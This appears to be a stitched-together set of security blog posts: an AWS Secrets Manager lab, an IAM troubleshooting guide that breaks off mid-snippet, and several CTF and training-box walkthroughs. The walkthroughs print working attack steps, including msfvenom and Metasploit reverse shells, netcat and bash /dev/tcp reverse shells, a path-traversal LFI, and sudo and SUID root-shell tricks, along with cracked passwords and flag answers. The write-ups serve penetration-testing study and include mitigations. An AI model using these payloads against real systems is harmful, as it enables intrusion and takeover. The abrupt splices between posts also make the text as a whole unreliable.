In 2019, the Capital One breach exposed the personal information of more than 100 million customers. The root cause was not an exotic exploit. It was a combination of misconfigured IAM permissions and credential access that allowed an attacker to retrieve sensitive data from AWS resources. The incident reinforced a recurring lesson in cloud security: breaches often stem from how credentials are handled, not from failures in encryption algorithms or underlying infrastructure.

Hardcoding credentials in application code remains one of the most common and preventable cloud security failures. Even in serverless environments like AWS Lambda, embedded access keys increase blast radius, complicate rotation, and make misuse harder to detect through standard audit mechanisms.

This post walks through a guided lab that validates how AWS Secrets Manager can be used with AWS Lambda to retrieve credentials securely at runtime, replacing hardcoded secrets while preserving application functionality with DynamoDB. Rather than focusing on basic service configuration, the goal is to examine how small implementation choices influence security posture, auditability, and operational risk.

The focus of this write-up is security reasoning and validation, not step-by-step console instructions.

Architecture Summary

High-level flow:

• A Lambda function executes using an IAM execution role
• Credentials are retrieved securely from AWS Secrets Manager
• The function accesses DynamoDB without embedding secrets in code
• All access is governed by IAM and logged via CloudTrail

Figure 1: Architecture diagram showing removal of embedded credentials and enforcement of IAM-governed secret retrieval, reducing credential exposure and blast radius.

Assessment Scope

This lab evaluated three credential-handling approaches within a serverless workload:

1. Hardcoded AWS access keys embedded directly in Lambda code
2. Centralized credential storage using AWS Secrets Manager
3. Runtime secret retrieval governed by IAM permissions

The Lambda workload was exercised to:

• Create DynamoDB tables and insert items
• Retrieve and return table data

The assessment focused on functional behavior, access control boundaries, and audit visibility rather than application logic.

Insecure Baseline: Hardcoded Credentials

The initial implementation embedded AWS access keys directly in the Lambda source code. While the function executed successfully, this pattern introduces several risks:

• Credentials are exposed to anyone with access to the code
• Secrets can be unintentionally committed to version control
• Rotation requires code changes and redeployment
• Compromise is difficult to detect and investigate

This pattern is routinely identified during security assessments and violates foundational cloud security best practices.

Figure 2: Initial implementation with embedded access keys (credentials redacted)

Secure Implementation: AWS Secrets Manager

To mitigate these risks, credentials were stored in AWS Secrets Manager and retrieved dynamically by the Lambda function at runtime.

Key improvements include:

• Encryption at rest using AWS KMS
• Centralized credential management decoupled from application code
• IAM-governed access to secrets
• Improved auditability and support for rotation

The Lambda execution role was scoped to retrieve only the required secret ARN, enforcing least-privilege access.

Figure 3: Lambda execution role scoped to retrieve a single Secrets Manager ARN and required DynamoDB resources.

Validation Results

After updating the Lambda function to retrieve credentials from Secrets Manager:

• The function executed successfully
• DynamoDB tables and items were created as expected
• No credentials were embedded in code or exposed in logs

This validated that the security control change did not introduce functional regressions while materially improving credential handling.

Figure 4: Successful Lambda execution retrieving secrets at runtime. Ownership attribution included for portfolio traceability.

Figure 5: CloudTrail records Secrets Manager access by the Lambda execution role, enabling audit and forensic visibility.

Figure 6: CloudWatch logs showing successful Lambda execution without exposure of secret material.

Optional: SOC Visibility and Threat Hunting Pattern

While this lab focused on secure secret retrieval and IAM enforcement, the same telemetry can be leveraged by SOC teams for detection and investigation.

In environments where CloudTrail logs are forwarded to CloudWatch Logs or a SIEM, analysts can hunt for Secrets Manager access using a simple CloudWatch Logs Insights query.

Example hunting query:

fields eventTime, eventSource, eventName, userIdentity.arn | filter eventSource = “secretsmanager.amazonaws.com” | sort eventTime desc

This query allows analysts to identify:

Which principals accessed Secrets Manager

When secrets were retrieved

Whether access patterns align with expected application behavior

In this lab environment, CloudTrail logs were validated directly via CloudTrail event history rather than CloudWatch Logs forwarding. In production environments, this query pattern can be operationalized for continuous monitoring and alerting.

In production, this telemetry would typically be forwarded to a centralized SIEM where Secrets Manager access could be correlated with application identity, source context, and anomaly detection workflows.

Key Tradeoff Decisions

• Secrets Manager vs IAM-only access
  Secrets Manager was used to eliminate hardcoded credentials while maintaining compatibility with legacy access patterns. This temporarily retains static credentials but reduces immediate exposure through encryption, IAM scoping, and auditability. The long-term objective is full migration to IAM role-based access using STS-issued temporary credentials.

• Deferred automated rotation
  Automated rotation was intentionally deferred to focus this lab on validating secure retrieval and access controls. This increases credential exposure duration, which was accepted for a scoped environment and mitigated through least-privilege permissions, monitoring, and a defined production rotation strategy.

• Access is enforced through IAM and API-level authorization, not network segmentation.
  Access controls were enforced at the IAM and resource policy layer rather than through network segmentation. This prioritizes workload identity and fine-grained authorization in line with Zero Trust principles, while allowing network controls to be layered in as the environment scales.

These tradeoffs were appropriate for a constrained lab environment and are addressed through IAM hardening, monitoring, and phased migration in production.

Security Tradeoffs and Migration Path

AWS Secrets Manager was intentionally used as a transitional control, not the end state.

This lab addressed the most immediate risk: hardcoded credentials embedded in application code. Secrets Manager removes credentials from the codebase, encrypts them at rest, scopes access through IAM, and provides audit visibility through CloudTrail. This materially reduces exposure while preserving compatibility with legacy access patterns that still rely on static credentials.

However, Secrets Manager does not eliminate static credentials. It centralizes and protects them.

The long-term secure architecture replaces stored credentials entirely with IAM role-based access using STS-issued temporary credentials. In that model, the Lambda function authenticates through its execution role, receives short-lived credentials automatically, and never retrieves or handles secrets directly.

Migration path:

1. Eliminate hardcoded credentials using Secrets Manager
2. Validate functionality, IAM scoping, and audit visibility
3. Remove static credentials and rely exclusively on IAM roles and STS
4. Use Secrets Manager only for non-AWS secrets or external integrations

Secrets Manager is therefore a risk-reduction step, not the final destination, in a Zero Trust workload identity model.

Security Controls Mapped (RMF / NIST 800-53)

This implementation aligns with the following NIST SP 800-53 control objectives:

IA-5 – Authenticator Management
Credentials are centrally stored and protected using AWS Secrets Manager rather than embedded in application code.

IA-7 – Cryptographic Module Authentication
Secrets are encrypted at rest using AWS Key Management Service (KMS).

AC-6 – Least Privilege
The Lambda execution role is scoped to retrieve only the required secret and access the necessary DynamoDB resources.

SC-12 – Cryptographic Key Establishment and Management
AWS-managed cryptographic services protect sensitive authentication material without requiring custom key handling in application code.

AU-2 / AU-12 – Auditable Events and Audit Generation
Secret access and resource interactions are logged via AWS CloudTrail to support monitoring and investigation.

Zero Trust Architecture Context

This implementation supports Zero Trust principles by replacing implicit trust with verified, policy-driven access controls.

Core Alignment

Workload identity over network trust
The Lambda function operates under an IAM execution role, establishing verifiable workload identity rather than relying on static credentials or network location.

Least privilege as micro-segmentation
Access is restricted at the API level. The function can retrieve a single secret ARN and access a specific DynamoDB table, limiting blast radius through permission-based segmentation.

Continuous verification through telemetry
All access to Secrets Manager and DynamoDB is logged via CloudTrail, enabling post-access verification and detection workflows.

Path to Maturity

While this lab uses AWS Secrets Manager to eliminate hardcoded credentials, the long-term Zero Trust objective is exclusive use of IAM role-based access with STS-issued temporary credentials. This approach removes static credentials entirely and consolidates authentication and authorization within the identity and policy layer.

Key Takeaways

• Hardcoded credentials materially increase cloud security risk
• AWS Secrets Manager enables secure, auditable credential retrieval without embedding secrets in code
• IAM design and permission scoping are critical to limiting blast radius in serverless workloads

Note: This implementation was validated in a controlled lab environment to demonstrate secure credential management patterns applicable to production workloads.

Appendix: Evidence Index

• Figure 1: Architecture Diagram
• Figure 2: Lambda function with hardcoded credentials
• Figure 3: IAM execution role permissions
• Figure 4: Successful Lambda execution retrieving secrets
• Figure 5: CloudTrail Secrets Manager access event
• Figure 6: CloudWatch Lambda runtime logs

This walkthrough covers a practical AWS lab focused on troubleshooting IAM access issues. The scenario mirrors a common situation in cloud operations where users must assume roles to perform their tasks, rather than having direct permissions assigned. The objective is to identify why a user cannot assume an assigned role and apply a least privilege fix.

Scenario Overview

In this lab, a new IAM user named Operator-User cannot assume a role named Operator-Role. As part of the cloud team, your job is to find out what is wrong and fix it.

The issue affects the user’s ability to:

• Assume a role through the AWS Management Console
• Access an EC2 instance using AWS Systems Manager Session Manager

The root of such problems often lies in a mismatch between:

1. The user’s permissions (identity-based policy)
2. The role’s trust relationship (trust policy)

Step 1. Reproduce the Problem

To begin, log in as Operator-User and attempt to switch roles from the AWS Management Console.

1. Choose the user menu in the top-right corner and select Switch Role.
2. Enter the Account ID and Role Name (Operator-Role).
3. Leave the display name blank and click Switch Role.

If you see an error message such as “Invalid information in one or more fields”, you have confirmed that the role assumption is failing.

Screenshot 1: The “Invalid information” error displayed when attempting to switch roles.

This validation step ensures that any later fix can be verified against the same failure.

Step 2. Review the User’s Permissions

Next, return to the console signed in as AWSLabUser (the admin account provided for troubleshooting). Navigate to IAM > Users > Operator-User > Permissions and review the attached policy.

You will likely find that the user does not have the sts:AssumeRole action included in the permissions policy. This action is required for a user to assume another role through the AWS Security Token Service (STS).

Remediation:

• Edit the user policy to include the sts:AssumeRole action.
• Limit the Resource to only the Operator-Role ARN to enforce least privilege.

Example policy snippet:

```json { “Version”: “2012-10-17”, “Statement”: [ { “Effect”: “Allow”, “Action”: “sts:AssumeRole”, “Resource”: “arn:aws:iam:::role/Operator-Role" } ] }

In this walkthrough, I exploited the AlwaysInstallElevated privilege escalation technique on a vulnerable Windows machine. When both HKLM and HKCU registry keys for AlwaysInstallElevated are set to 1, any .msi file executed by a standard user will run with SYSTEM-level privileges. Below is a step-by-step breakdown of how I leveraged this misconfiguration to gain SYSTEM access.

🔍 Step 1: Confirming Registry Vulnerability

After gaining initial access to the target machine, I checked the registry for AlwaysInstallElevated values:

reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

Both were set to 0x1, confirming the system is vulnerable.

💣 Step 2: Creating a Malicious MSI Payload

On my Kali attack box, I generated a reverse Meterpreter payload in MSI format using msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.2.119.123 -f msi -o setup.msi

🌐 Step 3: Hosting the Payload

I used Python to host the .msi file over HTTP:

python3 -m http.server 80

📥 Step 4: Downloading and Executing on Victim Machine

On the victim machine, I opened Internet Explorer and navigated to the Kali host IP to download the payload.

🧠 Step 5: Listener Setup and Shell Access

On my Kali box, I launched a Metasploit listener to catch the reverse shell:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.2.119.123
run

The payload executed with SYSTEM privileges, as confirmed by the getuid command.

🛡️ Mitigation

To prevent this type of privilege escalation:

• Set AlwaysInstallElevated to 0 in both HKLM and HKCU:

  reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
  reg add HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
  

• Restrict user ability to run .msi installers
• Use endpoint monitoring to alert on privilege escalations

🔗 MITRE ATT&CK Mapping

• T1548.002 – Abuse Elevation Control Mechanism: Bypass User Access Control

✅ Success: I escalated from user to SYSTEM by abusing AlwaysInstallElevated and a malicious MSI payload. Always validate registry settings during post-exploitation recon!

Stay sharp, and happy hacking! 🛠️

• Target OS: Windows Server 2008 R2
• Difficulty: Easy
• IP Address: 10.129.249.251
• Initial Access Vector: FTP upload to WebDAV
• Privilege Escalation Vector: Kernel exploit (MS15-051)
• Tools Used: Nmap, Metasploit, msfvenom

🛰️ Reconnaissance

I began with a full port scan using Nmap:

nmap -p- -A -T4 10.129.249.251

🔍 Results:

• Port 21 (FTP):
  • Microsoft ftpd
  • Anonymous login allowed
  • Files: aspnet_client/, iisstart.htm, welcome.png
• Port 80 (HTTP):
  • Microsoft IIS httpd 7.5
  • TRACE method enabled
  • OS Guess: Windows Server 2008 R2 / Windows 7 SP1

🌐 Web Server Enumeration

I browsed the site directly via:

http://10.129.249.251

The page showed the default IIS7 welcome page, confirming a likely upload path vulnerability via FTP to the webroot.

🎯 Initial Foothold

I generated a reverse shell in ASPX format:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.XX LPORT=4444 -f aspx > shell.aspx

Uploaded it via FTP (anonymous login):

ftp 10.129.249.251
put shell.aspx

Then triggered it in the browser:

http://10.129.249.251/shell.aspx

Metasploit caught the reverse shell with a listener:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.XX
set LPORT 4444
run

📈 Privilege Escalation

Step 1: Checked for Kernel Exploits

systeminfo

Identified Windows Server 2008 R2 SP1 — vulnerable to MS10-015 and MS15-051.

Step 2: Attempted MS10-015

use exploit/windows/local/ms10_015_kitrap0d
set SESSION <meterpreter session>
run

But the exploit failed — I forgot to set the correct LHOST and Metasploit defaulted to eth0 instead of my tun0. After troubleshooting, I pivoted.

Step 3: Successful Exploit with MS15-051

use exploit/windows/local/ms15_051_client_copy_image
set SESSION <meterpreter session>
set LHOST 10.10.14.XX
run

This successfully gave me SYSTEM shell.

🏁 Capture the Flags

type C:\Users\<user>\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

🧩 MITRE ATT&CK Mapping

This walkthrough demonstrates how I exploited the LazyAdmin room on TryHackMe. Each section includes detailed explanations of the enumeration, exploitation, and privilege escalation processes.

🎯 Privilege Escalation Summary:

• Vector: Misconfigured sudo permissions on a Perl script (backup.pl)
• Exploitation Technique: Abuse of a vulnerable shell script (/etc/copy.sh) to execute a reverse shell
• Result: Full root access via a reverse shell connection

🕵️ Initial Enumeration

I began by performing a full port scan to identify open services:

nmap -p- -T4 -A 10.10.95.27

The results revealed two open ports:

• Port 22: SSH
• Port 80: HTTP (Apache)

Navigating to http://10.10.95.27 on port 80 returned the default Apache2 Ubuntu page:

🌐 Web Enumeration

Checking robots.txt

I checked the robots.txt file at http://10.10.95.27/robots.txt, which returned “Not Found.” However, I was able to gather the Apache version Apache/2.4.18, which could be useful for identifying potential exploits.

Directory Busting with FFuF

I then performed directory enumeration using FFuF:

ffuf -w /usr/share/wordlists/dirb/common.txt -u 'http://10.10.95.27/FUZZ'

This revealed an interesting directory named /content.

To validate my results, I ran another directory search using dirsearch:

📚 Vulnerability Research

After identifying the CMS as SweetRice 1.5.1, I searched for public exploits. I discovered two interesting vulnerabilities:

1. Backup Disclosure (Exploit-DB 40718)

https://www.exploit-db.com/exploits/40718

This exploit allows attackers to access sensitive MySQL backups stored in an unprotected directory.

Proof of Concept (PoC):

You can access all MySQL backups and download them from this directory:
http://localhost/inc/mysql_backup

You can also access website file backups from:
http://localhost/SweetRice-transfer.zip

2. Arbitrary File Upload (Exploit-DB 40716)

https://www.exploit-db.com/exploits/40716

This exploit highlights a file upload vulnerability that allows attackers to upload malicious files and gain code execution.

# Exploit Title: SweetRice 1.5.1 - Unrestricted File Upload
# Exploit Author: Ashiyane Digital Security Team
# Date: 03-11-2016

import requests
from requests import session

# Exploit attempts to upload a file via /as directory
login = r.post('http://' + host + '/as/?type=signin', data=payload)

# Targeted upload endpoint and accepted formats (.php5 included)
uploadfile = r.post('http://' + host + '/as/?type=media_center&mode=upload', files=file)

The code showed that we needed to target the /as directory for the portal login and that .php5 was an accepted file format for uploading malicious payloads.

📂 SweetRice Backup Disclosure Exploit

Following the Backup Disclosure PoC, I navigated to the following directory:

http://10.10.95.27/content/inc/mysql_backup/

This exposed a MySQL backup file which I downloaded and examined.

🔎 Extracting Credentials

I analyzed the backup file and discovered a hashed password.

Description\";s:5:\"admin\";s:7:\"manager\";s:6:\"passwd\";s:32:\"42f749ade7f9e195bf475f37a44cafcb

I used CrackStation to crack the hash and obtained the password:

Password: Password123

🔐 CMS Login & Shell Upload

With valid credentials (manager:Password123), I logged into the CMS via:

http://10.10.95.27/content/as/

🎯 Uploading a Reverse Shell

After logging in, I navigated to the Media Center where I had the ability to upload files.

I prepared a PHP reverse shell from PentestMonkey and modified it with my Kali IP and port:

https://github.com/pentestmonkey/php-reverse-shell

nano shell.php5

Started a listener on port 7777:

nc -lvnp 7777

Uploaded and triggered the payload:

🐚 Gaining Foothold

I received a shell as www-data and began local enumeration:

whoami
id
sudo -l

🏗️ Privilege Escalation via Misconfigured sudo Permissions

Reviewing Backup Script (backup.pl)

I discovered that I had sudo permissions to run backup.pl as root.

cat /home/itguy/backup.pl

The script referenced /etc/copy.sh, which contained a reverse shell.

cat /etc/copy.sh

🚀 Overwriting copy.sh to Gain Root

I overwrote copy.sh with a reverse shell payload:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.95.27 5554 > /tmp/f" > /etc/copy.sh

📡 Catching the Root Shell

Set up a new listener on port 5554:

nc -lvnp 5554

Triggered the reverse shell as root:

🎉 Conclusion

LazyAdmin was an exciting machine that demonstrated various critical exploitation techniques:

• Discovered a MySQL backup disclosure vulnerability
• Cracked admin credentials to gain access to the CMS
• Uploaded and triggered a PHP reverse shell
• Gained root through misconfigured sudo permissions on a backup script

Happy hacking! 🧠💻🔥

Try the LazyAdmin room on TryHackMe

The Anonymous room on TryHackMe presents a classic CTF-style Linux machine that’s ideal for practicing enumeration, lateral thinking, and privilege escalation. In this walkthrough, I’ll guide you through how I leveraged a misconfigured FTP service and an insecure cleanup script to gain a reverse shell on the target system — and how a single misconfigured binary handed me root.

Room URL: https://tryhackme.com/room/anonymous

Reconnaissance

As always, I started with network enumeration to get the lay of the land. I launched an aggressive Nmap scan to discover open ports and services running on the target machine.

sudo nmap -p- -T4 -A 10.10.64.179

Results Summary

• Port 21 (FTP): vsftpd 2.0.8 — anonymous login enabled
• Port 22 (SSH): OpenSSH 7.6p1 on Ubuntu 18.04
• Ports 139/445 (SMB): Samba smbd 4.7.6-Ubuntu, guest access

These results told me two things: there were likely multiple avenues for initial access — and anonymous FTP looked especially promising.

Gaining Entry Through Anonymous FTP

Connecting to the FTP server revealed a writable scripts directory — a big red flag.

ftp 10.10.64.179
ftp> cd scripts
ftp> ls

I downloaded everything I could using binary mode to avoid corrupting file contents:

ftp> binary
ftp> mget *

I had three files to analyze:

• clean.sh
• removed_files.log
• to_do.txt

Reviewing Downloaded Files

Opening to_do.txt gave a hint that FTP access was likely unintentional:

I really need to disable the anonymous login ... it's really not safe

The removed_files.log showed a repeated message:

Running cleanup script: nothing to delete

The third file, clean.sh, was the most interesting — a bash script designed to remove temp files. Critically, it had world-writable permissions and appeared to be executed on a schedule.

cat clean.sh

Reverse Shell via Writable Script

Since clean.sh was writable and likely auto-executed, I weaponized it by inserting a reverse shell payload targeting my attack machine:

#!/bin/bash
bash -i >& /dev/tcp/10.13.79.36/7777 0>&1

I started a Netcat listener and re-uploaded my modified script:

nc -nlvp 7777
ftp> put clean.sh

Seconds later, I caught a shell back.

whoami
namelessone

✅ I now had an interactive shell on the target as user namelessone.

Local Enumeration and Flag Hunting

First, I confirmed my identity and inspected the home directory:

whoami
uname -a
ls -la

I spotted user.txt and grabbed the first flag:

cat user.txt

🎉 User flag: 90d6f99258581ff991e68748c414740

Investigating the Environment

While poking around the user’s home directory, I noticed a pics folder. Naturally, I took a look:

cd pics
ls

It contained only two .jpg files. No hidden credentials or encoded data here — just a decoy or clutter.

Failed Sudo Escalation Attempt

I tried to list sudo privileges:

sudo -l

Got hit with a TTY-related error:

sudo: no tty present and no askpass program specified

I upgraded to a full TTY using Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

After that, I attempted to execute a sudo -l command again, but it prompted for a password — which I didn’t have. I moved on.

Privilege Escalation Through SUID Binaries

Time to escalate. I searched the system for files with the SUID bit set:

find / -type f -perm -04000 -ls 2>/dev/null

Most binaries were standard… except one stood out:

/usr/bin/env

—

Using /usr/bin/env to Gain Root

According to GTFOBins, if env has the SUID bit set, it can be abused to spawn a root shell like this:

/usr/bin/env /bin/bash -p

I gave it a shot:

/usr/bin/env /bin/bash -p

Then confirmed I had root with:

whoami
id
ls /root
cat /root/root.txt

🎉 Root flag: 4d930091c31a622a7ed10f27999af363

TryHackMe Room Questions & Answers

Final Thoughts

The Anonymous box offered a perfect mix of enumeration, scripting insight, and privilege escalation with real-world implications:

• FTP services left open to the world can become footholds
• Writable scripts can be as dangerous as remote exploits
• SUID misconfigurations like env are often overlooked

💡 This room was a strong reminder that even simple misconfigurations can lead to complete system compromise. Consistent enumeration and knowing where to look — like SUID binaries and writable scripts — can make all the difference. Tools like GTFOBins aren’t just helpful — they’re essential in every pentester’s toolkit.

In this article, I walk through my successful compromise of the Dev Box from TCM Security’s PNPT training course. The process spans reconnaissance, exploitation, and privilege escalation. I’ll also detail relevant mitigation strategies and map the techniques used to the MITRE ATT&CK framework to enhance threat defense practices.

Reconnaissance and Initial Enumeration

I began by conducting a full TCP port and service version scan using Nmap:

nmap -p- -A -T4 10.0.100.12

The following ports were discovered open:

• 22 (SSH)
• 80 (HTTP)
• 111 (RPC)
• 2049 (NFS)
• 8080 (HTTP-alt)
• 32771, 33727, 36393, 40821 (RPC-related ports)

Visiting the web service on port 80 in the browser revealed a default Apache web page referencing Bolt CMS.

This Bolt - Installation Error page is a default message that appears when Bolt CMS is installed in the wrong web directory. Instead of pointing to /var/www/html/public/, the web server is configured to serve from /var/www/html/. This misconfiguration inadvertently exposes internal application files and setup instructions.

Why This Matters

• Information Disclosure: Confirms Bolt CMS use and reveals internal paths.

• Fingerprinting Opportunity: Opens the door to version-specific exploits.

• Misconfigured Web Root: Risks exposing files that should remain private.

Port 8080 displayed a PHP information disclosure page, exposing server-level details including Apache and PHP versions, modules, and configuration paths.

While continuing to investigate, I launched directory brute-force scans on both ports using FFUF:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.100.12/FUZZ

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.100.12:8080/FUZZ

With scans in progress, I turned to explore services revealed by Nmap.

NFS Enumeration and Credential Discovery

Port 2049 revealed a running NFS service. Using showmount, I queried the exported directories:

showmount -e 10.0.100.12

The output indicated that /srv/nfs was being shared and was accessible to the entire 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 network ranges. This represents a dangerous misconfiguration.

🔓 Why is this important?

• Mountable shares may contain clear-text credentials or sensitive project files.

• Weak NFS configurations (e.g., missing root squashing) can be abused for privilege escalation or lateral movement.

I mounted the NFS share locally to inspect its contents:

mkdir /mnt/dev
mount -t nfs 10.0.100.12:/srv/nfs /mnt/dev
cd /mnt/dev

Once inside the mounted directory, I discovered a suspicious file named save.zip:

Attempting to unzip it revealed that the archive was password protected :

Since the password wasn’t known, I used fcrackzip and the popular rockyou.txt wordlist to brute-force it:

sudo fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip

The password was successfully found: java101.

I extracted the archive using the recovered password, which revealed two artifacts:

• id_rsa - a private SSH key
• todo.txt - a plaintext file with developer notes

I inspected the todo.txt file for clues:

cat todo.txt

These notes provided valuable intel:

• The user (presumably with initials jp) is a developer on this box.

• The reference to Java correlates with the cracked password java101, which may be reused elsewhere.

• The presence of a private SSH key and the jp initials hinted at an SSH login opportunity.

Next, I attempted to connect over SSH using the private key and the username jp:

ssh -I id_rsa jp@10.0.100.12

However, this prompted for a passphrase for the key, indicating additional protection was in play.

Directory Busting Results and Discovery

At this point I decided to continue on with my post-scan analysis, revisiting the results of the FFUF directory brute-force scans.

Port 80 Directory Results

Several directories responded with 301 Moved Permanently HTTP status codes, indicating redirection. These included:

• /public

• /src

• /app

• /vendor

• /extensions

This suggested the presence of potentially accessible internal application folders that may contain sensitive files or configuration data.

Port 8080 Directory Results

On port 8080, the FFUF scan revealed a /dev directory that responded with a 301 redirect and a 200 OK, indicating successful content retrieval. This was especially interesting in the context of the earlier discovery in todo.txt, where the user “jp” mentioned working on a development website and their love for Java.

This clue aligned perfectly with the /dev path and prompted me to investigate further.

Discovering BoltWire CMS on Port 8080

From the results of my FFUF scan on port 8080, the /dev directory really stood out. Based on earlier hints in the todo.txt file referencing a development website and the user’s interest in Java, this directory warranted further exploration.

I visited the /dev endpoint in the browser:

http://10.0.100.12:8080/dev/

To my surprise, this led to a BoltWire CMS setup page confirming the application had been successfully deployed.

This page indicated that the CMS instance was live and functional—an excellent opportunity to enumerate further and possibly find a way to exploit the system.

Exploring Web-Exposed Directories

I explored several of the directories discovered during the directory brute-force scan on port 80:

Initially, most of these appeared uninteresting or led to generic index listings. But when I navigated to the /app/config/ directory, I found a goldmine of potential configuration files:

Opening the config.yml file revealed hardcoded database credentials:

This included a username of bolt and a password of I_love_java, which immediately stood out based on previous hints and findings (like the Java-related comment in the todo.txt file). At this point, I made note to try these credentials later in the enumeration and exploitation stages.

Identifying BoltWire Version and Planning Exploitation

After logging into the BoltWire CMS running on port 8080 BoltWire CMS running on port 8080, I explored various available actions. Although I was able to register and log in successfully, no direct administrative functionality was accessible from the dashboard.

However, clicking the print action in the navigation bar triggered an information disclosure that revealed the exact CMS version in use:

Version Disclosure: The message revealed that the site was running BoltWire version 6.03.

This was a pivotal moment. With the exact version known, I pivoted to researching known exploits for BoltWire 6.03.

A quick search on Google and Exploit-DB surfaced a known Local File Inclusion (LFI) vulnerability associated with this version. This exploit would allow me to access sensitive system files if successfully executed.

https://www.exploit-db.com/exploits/48411

Choosing the Exploitation Path

After reviewing the available options, I determined that the Local File Inclusion (LFI) exploit was the most appropriate path forward for the following reasons:

✅ It directly matched the confirmed BoltWire CMS version (6.03).

✅ It required only an authenticated user—a condition I had already met by registering on the site.

✅ It leveraged the application’s predictable URL routing pattern, allowing for payload injection.

✅ It offered a direct path to sensitive file disclosure and opened the door to further privilege escalation opportunities.

Armed with this information, I proceeded to test the vulnerability.

Performing Local File Inclusion

The exploit format from ExploitDB ID 48411 requires a GET request to:

/dev/index.php?p=action.search&action=../../../../../../../etc/passwd

Because I was already authenticated from registering and logging in earlier, I could perform the attack by navigating directly to the LFI path in the browser:

http://10.0.100.12:8080/dev/index.php?p=action.search&action=../../../../../../../../etc/passwd

This successfully disclosed the contents of the /etc/passwd file.

Identifying Valid User Accounts

Scrolling through the output, I came across a user named jeanpaul. This stood out because it aligned with the initials jp from the previously recovered todo.txt file found inside the NFS share.

This was a strong lead — it suggested a valid system user, potentially with a home directory and SSH access.

Gaining SSH Access as JeanPaul

Now that I had a valid username (jeanpaul) and a private key (id_rsa) recovered from the mounted NFS share, I attempted to SSH into the target system using the following command:

sudo ssh -I id_rsa jeanpaul@10.0.100.12

The system prompted me for the key passphrase. At this point, I reflected on artifacts previously recovered:

• The todo.txt file contained a note that said: “Keep coding in Java because it’s awesome.”

• The config.yml exposed a password value: i_love_java

Taking a calculated guess, I tried the password i_love_java as the key passphrase—and it worked! I successfully authenticated and gained shell access to the system as user jeanpaul.

With access to jeanpaul, it was time to explore how I could elevate to root.

Post-Exploitation: Local Enumeration and Privilege Escalation Path

After gaining shell access as user jeanpaul, I immediately ran standard enumeration commands to understand the system context and check for privilege escalation vectors.

ls
pwd
history
sudo -l

From the output of sudo -l, I discovered that jeanpaul had NOPASSWD permissions to run /usr/bin/zip as root—without requiring a password. This is a huge find, as it can be abused for privilege escalation!

This revealed that the zip binary could be run with root privileges. To investigate potential abuses, I consulted GTFOBins, which confirmed that zip is a known escalation vector if misconfigured this way.

GTFOBins Guidance

If the zip binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to escalate or maintain privileged access.

Executing the Exploit

Using the GTFOBins-provided payload, I created a temporary file, invoked zip with the -T and -TT flags, and injected a shell:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

Root Access Achieved

The command successfully spawned a shell as root. I confirmed root-level access with:

id
cd /root
cat flag.txt

And there it was—the flag:

Congratz on rooting this box!

Detection Opportunities and ATT&CK Matrix

MITRE ATT&CK Framework Mapping and Mitigation Strategies

To strengthen the defensive posture of environments against similar exploitation paths, it’s crucial to align the observed attacker techniques with the MITRE ATT&CK framework. This provides defenders with visibility into how adversaries operate, and what countermeasures can be implemented to reduce risk.

Mitigation Strategies

Detection Opportunities

These are specific areas where defenders could have detected malicious activity during the compromise of the Dev Box. Mapping them to log sources and behaviors helps defenders create alerts, dashboards, and hunt queries.

Final Thoughts

This walkthrough of the Dev Box from TCM Security’s PNPT training course demonstrates how layered misconfigurations—when chained together—can lead to a full system compromise. From open NFS shares and exposed credentials, to LFI vulnerabilities and weak privilege escalation controls, each weakness contributed to the overall attack path.

Along the way, we:

• Performed full port scanning and service enumeration

• Exploited a misconfigured NFS share to recover sensitive credentials

• Leveraged LFI in BoltWire CMS to enumerate system users

• Authenticated via SSH using a cracked private key

• Escalated privileges to root using a GTFOBins zip sudo misconfiguration

🔑 Key Takeaways:

• Always sanitize and secure public-facing services—even development tools.

• Avoid storing credentials and SSH keys in accessible locations like NFS shares.

• Regular audits of sudoers configurations can prevent privilege escalation.

• Use the MITRE ATT&CK framework to understand and defend against attacker behaviors.

By analyzing how attackers move laterally and escalate privileges, defenders can better anticipate and respond to real-world threats.

Thanks for reading!

🛡️ Stay curious, stay secure. — Notes by Nisha

This walkthrough documents my experience completing the Enumeration & Brute Force room on TryHackMe. The room provides hands-on experience with various enumeration techniques, brute force attacks, and web application vulnerability exploitation. This write-up details my approach to each task and the key learning points along the way.

Task 1: Introduction

The introduction task provides an overview of what we’ll be learning in this room. No answers are required for this section, but it sets up important context for the upcoming challenges.

Key topics covered in this room include:

• Authentication enumeration techniques
• User enumeration methodologies
• Password reset vulnerabilities
• HTTP Basic Authentication exploitation
• OSINT (Open Source Intelligence)

Task 2: Authentication Enumeration

This task introduces the concept of authentication enumeration and how seemingly harmless error messages can provide attackers with valuable information.

Question: What type of error messages can unintentionally provide attackers with confirmation of valid usernames? Answer: Verbose errors

Explanation

Verbose error messages are a common security misconfiguration that can leak sensitive information. When a system provides different error messages for:

• Invalid username: “User does not exist”
• Valid username but wrong password: “Incorrect password”

This differential response allows attackers to enumerate valid usernames by observing the error messages.

Task 3: Enumerating Users

This task provides practical experience with user enumeration techniques using actual tools and methodologies.

Question: What is the valid email address from the list? Answer: canderson@gmail.com

Methodology

1. Started with a common username list from GitHub
2. Analyzed server responses for different usernames
3. Identified patterns in error messages
4. Located the valid email address through response analysis

Task 4: Exploiting Vulnerable Password Reset Logic

This section explores common vulnerabilities in password reset functionality and how they can be exploited.

Question: What is the flag? Answer: THM{50_pr3d1ct4BL333!!}

Exploitation Process

1. Analyzed the password reset functionality
2. Identified predictable reset token patterns
